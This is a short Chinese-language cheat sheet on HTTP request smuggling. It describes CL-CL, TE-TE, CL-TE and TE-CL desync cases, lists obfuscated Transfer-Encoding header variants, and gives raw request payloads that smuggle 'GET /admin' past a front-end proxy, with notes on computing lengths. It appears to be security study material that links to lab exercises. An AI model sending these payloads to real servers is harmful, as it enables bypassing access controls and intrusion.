五种常见走私请求
CL不为0的GET请求
假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length
头,不进行处理。这就有可能导致请求走私。
CL-CL
假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理,这样便有可能引发请求走私。
TE-TE
同上, 只不过换一个key name, 可以尝试:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[\t]chunked
Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL-TE
当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 28
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Content-Length需要设置为从0开始的所有字节数(\r\n算2字节)**
TE-CL
当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 4
Transfer-Encoding: chunked
26
GET /admin HTTP/1.1
Host: localhost
0
Content-Length需要设置为body长度+2(\r\n)
body中的26是从换行后算起, 到0之前的全部字节长度(\r\n算2字节), 并转为16进制
https://misakikata.github.io/2020/03/HTTP-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/
https://paper.seebug.org/1048/#4-httpcve-2018-8004
https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te